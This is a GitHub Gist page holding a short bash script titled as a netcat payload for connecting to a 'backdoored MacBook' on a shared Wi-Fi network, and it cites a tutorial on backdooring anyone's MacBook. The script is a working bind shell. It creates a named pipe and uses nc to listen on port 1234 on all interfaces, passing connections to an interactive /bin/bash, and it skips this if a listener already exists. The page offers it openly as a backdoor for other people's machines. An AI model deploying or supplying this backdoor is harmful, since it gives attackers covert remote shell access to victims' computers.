Created
November 30, 2018 14:52
-
-
Save fredsiika/87f23fc19c546969ed4ae5004d51545a to your computer and use it in GitHub Desktop.
Netcat Payload: connect to the backdoored MacBook on a shared Wi-Fi network. source: https://null-byte.wonderhowto.com/how-to/hacking-macos-configure-backdoor-anyones-macbook-0184637/
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
n=$(ps aux | grep -o [1]234) | |
if [[ $n = "" ]]; then | |
mkfifo f | |
nc -l 0.0.0.0 1234 < f | /bin/bash -i > f 2>&1 | |
fi |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment